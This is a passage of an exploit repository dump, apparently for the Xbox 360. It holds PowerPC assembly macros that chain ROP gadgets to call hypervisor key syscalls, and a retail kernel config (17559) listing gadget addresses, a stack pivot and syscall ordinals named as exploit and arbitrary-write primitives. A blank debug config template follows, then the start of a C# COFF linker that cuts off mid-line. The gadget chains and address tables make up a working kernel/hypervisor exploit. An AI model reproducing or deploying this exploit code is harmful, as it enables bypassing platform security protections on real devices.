18 | #
19 | # addi r1, r1, 0x60
20 | # lwz r12, -0x8(r1)
21 | # mtlr r12
22 | # ld r31, -0x10(r1)
23 | # blr
24 | ###########################################################
25 | .fill 0x50, 1, 0x00
26 | .long 0x00000000, \size # r31
27 | .long mr_r31_to_r3 # lr
28 | .long 0x00000000
29 |
30 | ###########################################################
31 | # Gadget N: load r3 with block size
32 | #
33 | # mr r3, r31
34 | # addi r1, r1, 0x70
35 | # lwz r12, -8(r1)
36 | # mtlr r12
37 | # ld r31, -0x10(r1)
38 | # blr
39 | ###########################################################
40 | .fill 0x60, 1, 0x00
41 | .long 0x00000000, pPayloadCipherTextSizeValue - 4 # r31 - pointer to address to store block size at
42 | .long stw_r3_onto_pointer # lr
43 | .long 0x00000000
44 |
45 | ###########################################################
46 | # Gadget N: store block size into pPayloadCipherTextSizeValue
47 | #
48 | # lwz r11, 4(r31)
49 | # stw r3, 0(r11)
50 | # li r3, 0
51 | # addi r1, r1, 0x60
52 | # lwz r12, -8(r1)
53 | # mtlr r12
54 | # ld r31, -0x10(r1)
55 | # blr
56 | ###########################################################
57 |
58 | ###########################################################
59 | # Gadget N: get stack pointer for next gadget
60 | #
61 | # Note: the epilogue is required here even though GET_STACK_PTR is immediately followed by another
62 | # macro (and could be chained) as it accounts for the epilogue in the stack pointer calculation.
63 | ###########################################################
64 | GET_STACK_PTR arithmetic_scratch1
65 | .fill 0x50, 1, 0x00
66 | .long 0x31313131, 0x31313131 # r31
67 | .long __restgprlr_31 # lr
68 | .long 0x00000000
69 |
70 | memcpy_cipher_text_block_base_addr = .
71 |
72 | ###########################################################
73 | # Gadget N: write srcAddrPhys into gadget data at L9 below
74 | #
75 | ###########################################################
76 | WRITE_PTR_TO_GADGET_DATA memcpy_cipher_text_scratch, arithmetic_scratch1, ((99f + cf_r4_offset) - memcpy_cipher_text_block_base_addr), \srcAddrPhys
77 |
78 | ###########################################################
79 | # Gadget N: call HvxKeysExSetKey
80 | #
81 | # r3 = key id
82 | # r4 = source physical address (to be updated by previous gadgets)
83 | # r5 = block size
84 | ###########################################################
85 | CALL_FUNC 99, HvxKeysExSetKey, R3H=0, R3L=0x00000102, R4H=0, R4L=0x41414141, R5H=0, R5L=\size
86 |
87 | ###########################################################
88 | # Gadget N: write PayloadCipherTextSizeValuePhysAddr into gadget data at L9 below
89 | #
90 | ###########################################################
91 | WRITE_PTR_TO_GADGET_DATA memcpy_cipher_text_scratch, arithmetic_scratch1, ((99f + cf_r5_offset) - memcpy_cipher_text_block_base_addr), PayloadCipherTextSizeValuePhysAddr
92 |
93 | ###########################################################
94 | # Gadget N: write dstAddrPhys into gadget data at L8 below
95 | #
96 | ###########################################################
97 | WRITE_PTR_TO_GADGET_DATA memcpy_cipher_text_scratch, arithmetic_scratch1, ((99f + cf_r4_offset) - memcpy_cipher_text_block_base_addr), \dstAddrPhys
98 |
99 | ###########################################################
100 | # Gadget N: call HvxKeysExGetKey
101 | #
102 | # r3 = key id
103 | # r4 = destination physical address (to be updated by previous gadgets)
104 | # r5 = physical address of block size value (to be updated by previous gadgets)
105 | ###########################################################
106 | CALL_FUNC 99, HvxKeysExGetKey, R3H=0, R3L=0x00000102, R4H=0, R4L=0x41414141, R5H=0, R5L=0x41414141
107 |
108 | ###########################################################
109 | # Gadget N: epilogue to be implemented by the caller
110 | #
111 | # addi r1, r1, 0x60
112 | # lwz r12, -0x8(r1)
113 | # mtlr r12
114 | # ld r31, -0x10(r1)
115 | # blr
116 | ###########################################################
117 |
118 | .endm
119 |
120 | ###########################################################
121 | # void MEMCPY_CIPHER_TEXT()
122 | #
123 | # TODO
124 | #
125 | ###########################################################
126 | .macro MEMCPY_CIPHER_TEXT dstAddrPhys, srcAddrPhys, size
127 |
128 | memcpy_cipher_text_base_addr = .
129 |
130 | ###########################################################
131 | # Gadget N: prologue
132 | #
133 | # addi r1, r1, 0x60
134 | # lwz r12, -0x8(r1)
135 | # mtlr r12
136 | # ld r31, -0x10(r1)
137 | # blr
138 | ###########################################################
139 | .fill 0x50, 1, 0x00
140 | .long 0x31313131, 0x31313131 # r31
141 | .long __restgprlr_31 # lr
142 | .long 0x00000000
143 |
144 | # Loop for number of 2048 blocks.
145 | .rept \size / 2048
146 |
147 | ###########################################################
148 | # Gadget N: copy next block of cipher text
149 | #
150 | ###########################################################
151 | MEMCPY_CIPHER_TEXT_BLOCK \dstAddrPhys, \srcAddrPhys, 2048
152 |
153 | ###########################################################
154 | # Gadget N: update source and dest addresses
155 | #
156 | ###########################################################
157 | LOAD_ADD_STORE \srcAddrPhys, 2048
158 | LOAD_ADD_STORE \dstAddrPhys, 2048
159 |
160 | .endr
161 |
162 | # Check for remainder size.
163 | .if \size % 2048
164 |
165 | _memcpy_remainder_size = \size % 2048
166 |
167 | ###########################################################
168 | # Gadget N: copy next block of cipher text
169 | #
170 | ###########################################################
171 | MEMCPY_CIPHER_TEXT_BLOCK \dstAddrPhys, \srcAddrPhys, _memcpy_remainder_size
172 |
173 | ###########################################################
174 | # Gadget N: update source and dest addresses
175 | #
176 | ###########################################################
177 | LOAD_ADD_STORE \srcAddrPhys, _memcpy_remainder_size
178 | LOAD_ADD_STORE \dstAddrPhys, _memcpy_remainder_size
179 |
180 | .endif
181 |
182 | ###########################################################
183 | # Gadget N: epilogue (not really needed but here for consistency)
184 | #
185 | # addi r1, r1, 0x60
186 | # lwz r12, -0x8(r1)
187 | # mtlr r12
188 | # ld r31, -0x10(r1)
189 | # blr
190 | ###########################################################
191 | .fill 0x50, 1, 0x00
192 | .long 0x31313131, 0x31313131 # r31
193 | .long __restgprlr_31 # lr
194 | .long 0x00000000
195 |
196 | .endm
197 |
198 |
--------------------------------------------------------------------------------
/Common/KernelConfig_Retail_17559.asm:
--------------------------------------------------------------------------------
1 |
2 |
3 | # Specify the kernel version so the build config file knows the kernel addresses have been defined.
4 | .set KRNL_VER, 17559
5 |
6 | # Kernel function addresses:
7 | .set DbgPrint, 0x80085EE8
8 | .set DbgBreakPoint, 0x80085EA0
9 | .set HalSendSMCMessage, 0x80067F48
10 | .set KeFlushCacheRange, 0x80073850
11 | .set KeLockL2, 0x80071E00
12 | .set KeStallExecutionProcessor, 0x80073484
13 | .set MmFreePhysicalMemory, 0x800807B8
14 | .set MmGetPhysicalAddress, 0x80080048
15 | .set NtAllocateVirtualMemory, 0x80083AA8
16 | .set NtClose, 0x80089EB0
17 | .set ObCreateSymbolicLink, 0x8008AEF0
18 | .set RtlInitAnsiString, 0x80086110
19 | .set VdDisplayFatalError, 0x800BDD40
20 | .set XexLoadImage, 0x8007D7C0
21 | .set XexUnloadImage, 0x8007D0E8
22 |
23 | .set memcmp, 0x80117200 # Can be substituted for XeCryptMemDiff if memcmp is not available (or anything with same signature and behavior) (do NOT use RtlCompareMemory, it doesn't return 0 on matching data)
24 |
25 | # System call functions:
26 | .set HvxKeysExGetKey, 0x80108580
27 | .set HvxKeysExSetKey, 0x80108570
28 | .set HvxEncryptedReserveAllocation, 0x80082CD0
29 | .set HvxEncryptedReleaseAllocation, 0x80082D00
30 | .set HvxEncryptedEncryptAllocation, 0x80082CE0
31 | .set HvxFlushDCacheRange, 0x8007F968
32 |
33 | # System call ordinals:
34 | .set sc_HvxPostOutputExploit, 0x0D
35 | .set sc_HvxFlushUserModeTb, 0x21
36 | .set sc_HvxKeysExecute, 0x42
37 | .set sc_HvxEncryptedReserveAllocation, 0x49
38 | .set sc_HvxEncryptedEncryptAllocation, 0x4A
39 | .set sc_HvxEncryptedReleaseAllocation, 0x4C
40 | .set sc_HvxRevokeUpdate, 0x65
41 |
42 | .set sc_HvxArbWriteSyscall, sc_HvxFlushUserModeTb
43 |
44 | # Boot animation addresses:
45 | .set BootAnimCodePageAddress, 0x98030000
46 |
47 | # Xam function addresses:
48 | .set CreateFileA, 0x8171BF40 # Export 1095
49 | .set GetFileSize, 0x8171C7C0 # Export 1063
50 | .set ReadFile, 0x8171D2C0 # Export 1052
51 | .set WriteFile, 0x81722268 # Export 1054
52 | .set CloseHandle, 0x8171B9A8 # Export 1044
53 |
54 | .set CreateThread, 0x8171C1B0 # Export 1084
55 | .set ResumeThread, 0x8171D498 # Export 1085
56 | .set GetLastError, 0x81721AC0 # Export 1006
57 |
58 | .set memcpy, 0x8172D590
59 | .set memset, 0x8172D4F0
60 |
61 | .set XamLoaderLaunchTitle, 0x816A1820 # Export 420
62 | .set XamLoaderTerminateTitle, 0x816A1458 # Export 425
63 | .set XLaunchNewImage, XamLoaderLaunchTitle
64 |
65 |
66 | ###########################################################
67 | # Kernel gadget address.
68 |
69 | # addi r1, r1, 0xA0
70 | # b __restgprlr_24
71 | .set __restgprlr_24, 0x800631A0 # .fill 0x58, 1, 0x00
72 |
73 | # addi r1, r1, 0x90
74 | # b __restgprlr_26
75 | .set __restgprlr_26, 0x80062578 # .fill 0x58, 1, 0x00
76 |
77 | # addi r1, r1, 0x80
78 | # b __restgprlr_27
79 | .set __restgprlr_27, 0x80061D50 # .fill 0x50, 1, 0x00
80 |
81 | # addi r1, r1, 0x80
82 | # b __restgprlr_28
83 | .set __restgprlr_28, 0x8006148C # .fill 0x58, 1, 0x00
84 |
85 | # addi r1, r1, 0x70
86 | # b __restgprlr_29
87 | .set __restgprlr_29, 0x800619B4 # .fill 0x50, 1, 0x00
88 |
89 | # addi r1, r1, 0x70
90 | # lwz r12, -0x8(r1)
91 | # mtlr r12
92 | # ld r30, -0x18(r1)
93 | # ld r31, -0x10(r1)
94 | # blr
95 | .set __restgprlr_30, 0x80061538 # .fill 0x58, 1, 0x00
96 |
97 | # addi r1, r1, 0x60
98 | # lwz r12, -0x8(r1)
99 | # mtlr r12
100 | # ld r31, -0x10(r1)
101 | # blr
102 | .set __restgprlr_31, 0x800664B0 # .fill 0x50, 1, 0x00
103 |
104 | # stw r3, 0(r31)
105 | # addi r1, r1, 0x60
106 | # lwz r12, -0x8(r1)
107 | # mtlr r12
108 | # ld r31, -0x10(r1)
109 | # blr
110 | .set stw_r3, 0x800D986C # .fill 0x50, 1, 0x00
111 |
112 | # mr r3, r31
113 | # addi r1, r1, 0x70
114 | # lwz r12, -8(r1)
115 | # mtlr r12
116 | # ld r31, -0x10(r1)
117 | # blr
118 | .set mr_r31_to_r3, 0x800661E4 # .fill 0x60, 1, 0x00
119 |
120 | # mr r11, r31
121 | # mr r3, r11
122 | # addi r1, r1, 0x70
123 | # lwz r12, -8(r1)
124 | # mtlr r12
125 | # ld r30, -0x18(r1)
126 | # ld r31, -0x10(r1)
127 | # blr
128 | .set mr_r31_to_r11, 0x800C8748 # .fill 0x58, 1, 0x00
129 |
130 | # mtctr r31
131 | # bctrl
132 | # addi r1, r1, 0x60
133 | # lwz r12, -8(r1)
134 | # mtlr r12
135 | # ld r31, -0x10(r1)
136 | # blr
137 | .set call_func_dispatch, 0x8007B0AC # .fill 0x50, 1, 0x00
138 |
139 |
140 | ###########################################################
141 | # Xam gadget address.
142 |
143 | # lwz r1, 0(r1)
144 | # lwz r12, -8(r1)
145 | # mtlr r12
146 | # blr
147 | .set stack_pivot, 0x81725378
148 |
149 | # lwz r3, 0(r31)
150 | # addi r1, r1, 0x60
151 | # lwz r12, var_8(r1)
152 | # mtlr r12
153 | # ld r31, var_10(r1)
154 | # blr
155 | .set lwz_r3, 0x816ABA5C # .fill 0x50, 1, 0x00
156 |
157 | # lwz r11, 0(r3)
158 | # stw r11, 8(r4)
159 | # li r3, 0
160 | # blr
161 | .set lwz_r3_stw_r4, 0x817A27B0
162 | .set lwz_r3_stw_r4__r3_disp, 0 # Displacement for r3 load
163 | .set lwz_r3_stw_r4__r4_disp, 8 # Displacement for r4 store
164 |
165 | # lwz r10, 0(r3)
166 | # slwi r11, r11, 2
167 | # add r3, r11, r10
168 | # blr
169 | .set lwz_r10, 0x8196C574
170 |
171 | # lwz r11, 8(r31)
172 | # addi r3, r11, -1
173 | # addi r1, r1, 0x70
174 | # lwz r12, -8(r1)
175 | # mtlr r12
176 | # ld r30, -0x18(r1)
177 | # ld r31, -0x10(r1)
178 | # blr
179 | .set lwz_r11_off_r31, 0x816A8D94 # .fill 0x58, 1, 0x00
180 |
181 | # stw r30, 0(r31)
182 | # addi r1, r1, 0x70
183 | # lwz r12, -8(r1)
184 | # mtlr r12
185 | # ld r30, -0x18(r1)
186 | # ld r31, -0x10(r1)
187 | # blr
188 | .set stw_r30_on_r31, 0x816FCAAC # .fill 0x58, 1, 0x00
189 |
190 | # lwz r11, 4(r31)
191 | # stw r3, 0(r11)
192 | # li r3, 0
193 | # addi r1, r1, 0x60
194 | # lwz r12, -8(r1)
195 | # mtlr r12
196 | # ld r31, -0x10(r1)
197 | # blr
198 | .set stw_r3_onto_pointer, 0x81922120 # .fill 0x50, 1, 0x00
199 |
200 | # lwz r10, 8(r11)
201 | # add r10, r5, r10
202 | # stw r10, 8(r11)
203 | # blr
204 | .set load_add_store_r10_r5_on_r11, 0x819D88A8
205 |
206 | # mr r7, r25
207 | # mtctr r30
208 | # mr r6, r26
209 | # mr r5, r27
210 | # mr r4, r28
211 | # mr r3, r29
212 | # bctrl
213 | .set call_func_preload, 0x8169CDDC
214 |
215 | # Default register values for unused parameters to call_func_preload:
216 | .set cf_r3_def, 0x29292929
217 | .set cf_r4_def, 0x28282828
218 | .set cf_r5_def, 0x27272727
219 | .set cf_r6_def, 0x26262626
220 | .set cf_r7_def, 0x25252525
221 |
222 | # Offsets for low half of argument registers in CALL_FUNC_LABEL macro:
223 | .set cf_r3_offset, 0x2C
224 | .set cf_r4_offset, 0x24
225 | .set cf_r5_offset, 0x1C
226 | .set cf_r6_offset, 0x14
227 | .set cf_r7_offset, 0x0C
228 |
229 | # mr r3, r1
230 | # blr
231 | .set mr_r1_to_r3, 0x817F4EC4
232 |
233 | # blr
234 | .set blr_nop, 0x817F4EC8
235 |
236 | # cmplwi r3, 0
237 | # li r3, 0
238 | # beq loc_817F031C
239 | # li r3, 1
240 | #
241 | # addi r1, r1, 0x60
242 | # lwz r12, -8(r1)
243 | # mtlr r12
244 | # ld r31, -0x10(r1)
245 | # blr
246 | .set clamp_r3, 0x817F030C # .fill 0x50, 1, 0x00
247 |
248 | # slwi r10, r3, 2
249 | # addi r11, r11, 0x3D64
250 | # lwzx r3, r10, r11
251 | # blr
252 | .set mul_r3_4_lwzx_r11, 0x816D8864
253 | .set mul_r3_4_lwzx_r11__disp, 0x3D64
254 |
255 | # lwz r11, 0x18(r31)
256 | # add r11, r30, r11
257 | # stw r11, 0x18(r31)
258 | # addi r1, r1, 0x70
259 | # lwz r12, -8(r1)
260 | # mtlr r12
261 | # ld r30, -0x18(r1)
262 | # ld r31, -0x10(r1)
263 | # blr
264 | .set load_add_store_r11_r30_on_r31, 0x817F7DC8 # .fill 0x58, 1, 0x00
265 | .set load_add_store_r11_r30_on_r31__disp, 0x18
266 |
267 | # lwz r11, 0(r31)
268 | # mtctr r11
269 | # bctrl
270 | .set call_ptr_off_r31, 0x81699DC8
271 |
--------------------------------------------------------------------------------
/Common/KernelConfig_Debug.asm:
--------------------------------------------------------------------------------
1 |
2 |
3 | # Build config template file. This file must be filled out for the kernel version you wish to target.
4 | # See KernelConfig_Retail_17559.asm for a valid example.
5 |
6 | # Comment out/remove this line after the config file has been setup.
7 | .error "Kernel config file has not been setup"
8 |
9 | # Specify the kernel version so the build config file knows the kernel addresses have been defined.
10 | .set KRNL_VER, 0
11 |
12 | # Kernel function addresses:
13 | .set DbgPrint, 0x00000000
14 | .set DbgBreakPoint, 0x00000000
15 | .set HalSendSMCMessage, 0x00000000
16 | .set KeFlushCacheRange, 0x00000000
17 | .set KeLockL2, 0x00000000
18 | .set KeStallExecutionProcessor, 0x00000000
19 | .set MmFreePhysicalMemory, 0x00000000
20 | .set MmGetPhysicalAddress, 0x00000000
21 | .set NtAllocateVirtualMemory, 0x00000000
22 | .set NtClose, 0x00000000
23 | .set ObCreateSymbolicLink, 0x00000000
24 | .set RtlInitAnsiString, 0x00000000
25 | .set VdDisplayFatalError, 0x00000000
26 | .set XexLoadImage, 0x00000000
27 | .set XexUnloadImage, 0x00000000
28 |
29 | .set memcmp, 0x00000000 # Can be substituted for XeCryptMemDiff if memcmp is not available (or anything with same signature and behavior) (do NOT use RtlCompareMemory, it doesn't return 0 on matching data)
30 |
31 | # System call functions:
32 | .set HvxKeysExGetKey, 0x00000000
33 | .set HvxKeysExSetKey, 0x00000000
34 | .set HvxEncryptedReserveAllocation, 0x00000000
35 | .set HvxEncryptedReleaseAllocation, 0x00000000
36 | .set HvxEncryptedEncryptAllocation, 0x00000000
37 | .set HvxFlushDCacheRange, 0x00000000
38 |
39 | # System call ordinals:
40 | .set sc_HvxPostOutputExploit, 0x00
41 | .set sc_HvxFlushUserModeTb, 0x00
42 | .set sc_HvxKeysExecute, 0x00
43 | .set sc_HvxEncryptedReserveAllocation, 0x00
44 | .set sc_HvxEncryptedEncryptAllocation, 0x00
45 | .set sc_HvxEncryptedReleaseAllocation, 0x00
46 | .set sc_HvxRevokeUpdate, 0x00
47 |
48 | .set sc_HvxArbWriteSyscall, sc_HvxFlushUserModeTb
49 |
50 | # Boot animation addresses:
51 | .set BootAnimCodePageAddress, 0x98030000
52 |
53 | # Xam function addresses:
54 | .set CreateFileA, 0x00000000 # Export 1095
55 | .set GetFileSize, 0x00000000 # Export 1063
56 | .set ReadFile, 0x00000000 # Export 1052
57 | .set WriteFile, 0x00000000 # Export 1054
58 | .set CloseHandle, 0x00000000 # Export 1044
59 |
60 | .set CreateThread, 0x00000000 # Export 1084
61 | .set ResumeThread, 0x00000000 # Export 1085
62 | .set GetLastError, 0x00000000 # Export 1006
63 |
64 | .set memcpy, 0x00000000
65 | .set memset, 0x00000000
66 |
67 | .set XamLoaderLaunchTitle, 0x00000000 # Export 420
68 | .set XamLoaderTerminateTitle, 0x00000000 # Export 425
69 | .set XLaunchNewImage, XamLoaderLaunchTitle
70 |
71 |
72 | ###########################################################
73 | # Kernel gadget address.
74 |
75 | # addi r1, r1, 0xA0
76 | # b __restgprlr_24
77 | .set __restgprlr_24, 0x00000000 # .fill 0x58, 1, 0x00
78 |
79 | # addi r1, r1, 0x90
80 | # b __restgprlr_26
81 | .set __restgprlr_26, 0x00000000 # .fill 0x58, 1, 0x00
82 |
83 | # addi r1, r1, 0x80
84 | # b __restgprlr_27
85 | .set __restgprlr_27, 0x00000000 # .fill 0x50, 1, 0x00
86 |
87 | # addi r1, r1, 0x80
88 | # b __restgprlr_28
89 | .set __restgprlr_28, 0x00000000 # .fill 0x58, 1, 0x00
90 |
91 | # addi r1, r1, 0x70
92 | # b __restgprlr_29
93 | .set __restgprlr_29, 0x00000000 # .fill 0x50, 1, 0x00
94 |
95 | # addi r1, r1, 0x70
96 | # lwz r12, -0x8(r1)
97 | # mtlr r12
98 | # ld r30, -0x18(r1)
99 | # ld r31, -0x10(r1)
100 | # blr
101 | .set __restgprlr_30, 0x00000000 # .fill 0x58, 1, 0x00
102 |
103 | # addi r1, r1, 0x60
104 | # lwz r12, -0x8(r1)
105 | # mtlr r12
106 | # ld r31, -0x10(r1)
107 | # blr
108 | .set __restgprlr_31, 0x00000000 # .fill 0x50, 1, 0x00
109 |
110 | # stw r3, 0(r31)
111 | # addi r1, r1, 0x60
112 | # lwz r12, -0x8(r1)
113 | # mtlr r12
114 | # ld r31, -0x10(r1)
115 | # blr
116 | .set stw_r3, 0x00000000 # .fill 0x50, 1, 0x00
117 |
118 | # mr r3, r31
119 | # addi r1, r1, 0x70
120 | # lwz r12, -8(r1)
121 | # mtlr r12
122 | # ld r31, -0x10(r1)
123 | # blr
124 | .set mr_r31_to_r3, 0x00000000 # .fill 0x60, 1, 0x00
125 |
126 | # mr r11, r31
127 | # mr r3, r11
128 | # addi r1, r1, 0x70
129 | # lwz r12, -8(r1)
130 | # mtlr r12
131 | # ld r30, -0x18(r1)
132 | # ld r31, -0x10(r1)
133 | # blr
134 | .set mr_r31_to_r11, 0x00000000 # .fill 0x58, 1, 0x00
135 |
136 | # mtctr r31
137 | # bctrl
138 | # addi r1, r1, 0x60
139 | # lwz r12, -8(r1)
140 | # mtlr r12
141 | # ld r31, -0x10(r1)
142 | # blr
143 | .set call_func_dispatch, 0x00000000 # .fill 0x50, 1, 0x00
144 |
145 |
146 | ###########################################################
147 | # Xam gadget address.
148 |
149 | # lwz r1, 0(r1)
150 | # lwz r12, -8(r1)
151 | # mtlr r12
152 | # blr
153 | .set stack_pivot, 0x00000000
154 |
155 | # lwz r3, 0(r31)
156 | # addi r1, r1, 0x60
157 | # lwz r12, var_8(r1)
158 | # mtlr r12
159 | # ld r31, var_10(r1)
160 | # blr
161 | .set lwz_r3, 0x00000000 # .fill 0x50, 1, 0x00
162 |
163 | # lwz r11, 0(r3)
164 | # stw r11, 8(r4)
165 | # li r3, 0
166 | # blr
167 | .set lwz_r3_stw_r4, 0x00000000
168 | .set lwz_r3_stw_r4__r3_disp, 0 # Displacement for r3 load
169 | .set lwz_r3_stw_r4__r4_disp, 0 # Displacement for r4 store
170 |
171 | # lwz r10, 0(r3)
172 | # slwi r11, r11, 2
173 | # add r3, r11, r10
174 | # blr
175 | .set lwz_r10, 0x00000000
176 |
177 | # lwz r11, 8(r31)
178 | # addi r3, r11, -1
179 | # addi r1, r1, 0x70
180 | # lwz r12, -8(r1)
181 | # mtlr r12
182 | # ld r30, -0x18(r1)
183 | # ld r31, -0x10(r1)
184 | # blr
185 | .set lwz_r11_off_r31, 0x00000000 # .fill 0x58, 1, 0x00
186 |
187 | # stw r30, 0(r31)
188 | # addi r1, r1, 0x70
189 | # lwz r12, -8(r1)
190 | # mtlr r12
191 | # ld r30, -0x18(r1)
192 | # ld r31, -0x10(r1)
193 | # blr
194 | .set stw_r30_on_r31, 0x00000000 # .fill 0x58, 1, 0x00
195 |
196 | # lwz r11, 4(r31)
197 | # stw r3, 0(r11)
198 | # li r3, 0
199 | # addi r1, r1, 0x60
200 | # lwz r12, -8(r1)
201 | # mtlr r12
202 | # ld r31, -0x10(r1)
203 | # blr
204 | .set stw_r3_onto_pointer, 0x00000000 # .fill 0x50, 1, 0x00
205 |
206 | # lwz r10, 8(r11)
207 | # add r10, r5, r10
208 | # stw r10, 8(r11)
209 | # blr
210 | .set load_add_store_r10_r5_on_r11, 0x00000000
211 |
212 | # mr r7, r25
213 | # mtctr r30
214 | # mr r6, r26
215 | # mr r5, r27
216 | # mr r4, r28
217 | # mr r3, r29
218 | # bctrl
219 | .set call_func_preload, 0x00000000
220 |
221 | # Default register values for unused parameters to call_func_preload:
222 | .set cf_r3_def, 0x00000000
223 | .set cf_r4_def, 0x00000000
224 | .set cf_r5_def, 0x00000000
225 | .set cf_r6_def, 0x00000000
226 | .set cf_r7_def, 0x00000000
227 |
228 | # Offsets for low half of argument registers in CALL_FUNC_LABEL macro:
229 | .set cf_r3_offset, 0x00
230 | .set cf_r4_offset, 0x00
231 | .set cf_r5_offset, 0x00
232 | .set cf_r6_offset, 0x00
233 | .set cf_r7_offset, 0x00
234 |
235 | # mr r3, r1
236 | # blr
237 | .set mr_r1_to_r3, 0x00000000
238 |
239 | # blr
240 | .set blr_nop, 0x00000000
241 |
242 | # cmplwi r3, 0
243 | # li r3, 0
244 | # beq loc_817F031C
245 | # li r3, 1
246 | #
247 | # addi r1, r1, 0x60
248 | # lwz r12, -8(r1)
249 | # mtlr r12
250 | # ld r31, -0x10(r1)
251 | # blr
252 | .set clamp_r3, 0x00000000 # .fill 0x50, 1, 0x00
253 |
254 | # slwi r10, r3, 2
255 | # addi r11, r11, 0x3D64
256 | # lwzx r3, r10, r11
257 | # blr
258 | .set mul_r3_4_lwzx_r11, 0x00000000
259 | .set mul_r3_4_lwzx_r11__disp, 0x0000
260 |
261 | # lwz r11, 0x18(r31)
262 | # add r11, r30, r11
263 | # stw r11, 0x18(r31)
264 | # addi r1, r1, 0x70
265 | # lwz r12, -8(r1)
266 | # mtlr r12
267 | # ld r30, -0x18(r1)
268 | # ld r31, -0x10(r1)
269 | # blr
270 | .set load_add_store_r11_r30_on_r31, 0x00000000 # .fill 0x58, 1, 0x00
271 | .set load_add_store_r11_r30_on_r31__disp, 0x00
272 |
273 | # lwz r11, 0(r31)
274 | # mtctr r11
275 | # bctrl
276 | .set call_ptr_off_r31, 0x00000000
277 |
--------------------------------------------------------------------------------
/Stage3/ObjLink/ObjLink/Program.cs:
--------------------------------------------------------------------------------
1 | using IO;
2 | using System.Diagnostics;
3 | using System.Text;
4 |
5 | namespace ObjLink
6 | {
7 | class COFF_FILE_HEADER
8 | {
9 | /* 0x00 */ public ushort Machine;
10 | /* 0x02 */ public ushort NumberOfSections;
11 | /* 0x04 */ public uint TimeDateStamp;
12 | /* 0x08 */ public int PointerToSymbolTable;
13 | /* 0x0C */ public int NumberOfSymbols;
14 | /* 0x10 */ public ushort SizeOfOptionalHeader;
15 | /* 0x12 */ public ushort Characteristics;
16 | }
17 |
18 | class SECTION_TABLE_ENTRY
19 | {
20 | /* 0x00 */ public char[] Name;
21 | /* 0x08 */ public uint VirtualSize;
22 | /* 0x0C */ public uint VirtualAddress;
23 | /* 0x10 */ public int SizeOfRawData;
24 | /* 0x14 */ public int PointerToRawData;
25 | /* 0x18 */ public int PointerToRelocations;
26 | /* 0x1C */ public int PointerToLineNumbers;
27 | /* 0x20 */ public short NumberOfRelocations;
28 | /* 0x22 */ public short NumberOfLineNumbers;
29 | /* 0x24 */ public int Characteristics;
30 |
31 | public List Relocations = new List();
32 |
33 | public string GetNameClean()
34 | {
35 | return new string(this.Name).Trim('\0');
36 | }
37 | }
38 |
39 | class COFF_RELOCATION
40 | {
41 | /* 0x00 */ public int VirtualAddress;
42 | /* 0x04 */ public int SymbolTableIndex;
43 | /* 0x08 */ public short Type;
44 | }
45 |
46 | class SYMBOL_TABLE_ENTRY
47 | {
48 | /* 0x00 */ public byte[] Name;
49 | /* 0x08 */ public int Value;
50 | /* 0x0C */ public short SectionNumber; // 1-based index!!!!
51 | /* 0x0E */ public short Type;
52 | /* 0x10 */ public byte StorageClass;
53 | /* 0x11 */ public byte NumberOfAuxSymbols;
54 |
55 | public byte[] AuxSymbolData;
56 |
57 | public string GetNameClean()
58 | {
59 | return Encoding.UTF8.GetString(this.Name).Trim('\0');
60 | }
61 | }
62 |
63 | internal class Program
64 | {
65 | static byte[] SaveGprCode = new byte[]
66 | {
67 | 0xF9, 0xC1, 0xFF, 0x68, 0xF9, 0xE1, 0xFF, 0x70, 0xFA, 0x01, 0xFF, 0x78, 0xFA, 0x21, 0xFF, 0x80,
68 | 0xFA, 0x41, 0xFF, 0x88, 0xFA, 0x61, 0xFF, 0x90, 0xFA, 0x81, 0xFF, 0x98, 0xFA, 0xA1, 0xFF, 0xA0,
69 | 0xFA, 0xC1, 0xFF, 0xA8, 0xFA, 0xE1, 0xFF, 0xB0, 0xFB, 0x01, 0xFF, 0xB8, 0xFB, 0x21, 0xFF, 0xC0,
70 | 0xFB, 0x41, 0xFF, 0xC8, 0xFB, 0x61, 0xFF, 0xD0, 0xFB, 0x81, 0xFF, 0xD8, 0xFB, 0xA1, 0xFF, 0xE0,
71 | 0xFB, 0xC1, 0xFF, 0xE8, 0xFB, 0xE1, 0xFF, 0xF0, 0x91, 0x81, 0xFF, 0xF8, 0x4E, 0x80, 0x00, 0x20
72 | };
73 |
74 | static byte[] RestoreGprCode = new byte[]
75 | {
76 | 0xE9, 0xC1, 0xFF, 0x68, 0xE9, 0xE1, 0xFF, 0x70, 0xEA, 0x01, 0xFF, 0x78, 0xEA, 0x21, 0xFF, 0x80,
77 | 0xEA, 0x41, 0xFF, 0x88, 0xEA, 0x61, 0xFF, 0x90, 0xEA, 0x81, 0xFF, 0x98, 0xEA, 0xA1, 0xFF, 0xA0,
78 | 0xEA, 0xC1, 0xFF, 0xA8, 0xEA, 0xE1, 0xFF, 0xB0, 0xEB, 0x01, 0xFF, 0xB8, 0xEB, 0x21, 0xFF, 0xC0,
79 | 0xEB, 0x41, 0xFF, 0xC8, 0xEB, 0x61, 0xFF, 0xD0, 0xEB, 0x81, 0xFF, 0xD8, 0xEB, 0xA1, 0xFF, 0xE0,
80 | 0xEB, 0xC1, 0xFF, 0xE8, 0xEB, 0xE1, 0xFF, 0xF0, 0x81, 0x81, 0xFF, 0xF8, 0x7D, 0x88, 0x03, 0xA6,
81 | 0x4E, 0x80, 0x00, 0x20
82 | };
83 |
84 | static int AlignmentIntervalFromSectionCharacteristics(int characteristics)
85 | {
86 | int alignment = 4;
87 |
88 | (int flag, int alignment)[] AlignmentFlagOptions = new (int flag, int alignment)[]
89 | {
90 | (0x00000000, 0),
91 | (0x00100000, 1),
92 | (0x00200000, 2),
93 | (0x00300000, 4),
94 | (0x00400000, 8),
95 | (0x00500000, 16),
96 | (0x00600000, 32),
97 | (0x00700000, 64),
98 | (0x00800000, 128),
99 | (0x00900000, 256),
100 | (0x00A00000, 512),
101 | (0x00B00000, 1024),
102 | (0x00C00000, 2048),
103 | (0x00D00000, 4096),
104 | (0x00E00000, 8192)
105 | };
106 |
107 | // Get the alignment interval from the characteristic flags.
108 | int alignmentIndex = (characteristics >> 20) & 0xF;
109 | if (alignmentIndex > 0 && alignmentIndex < AlignmentFlagOptions.Length)
110 | alignment = AlignmentFlagOptions[alignmentIndex].alignment;
111 |
112 | return alignment;
113 | }
114 |
115 | static void Main(string[] args)
116 | {
117 | // Print version info.
118 | Console.WriteLine("ObjLink v0.1");
119 | Console.WriteLine();
120 |
121 | // Check if the correct number of arguments have been provided.
122 | if (args.Length < 4)
123 | {
124 | // Print use.
125 | Console.WriteLine("Use: ObjLink.exe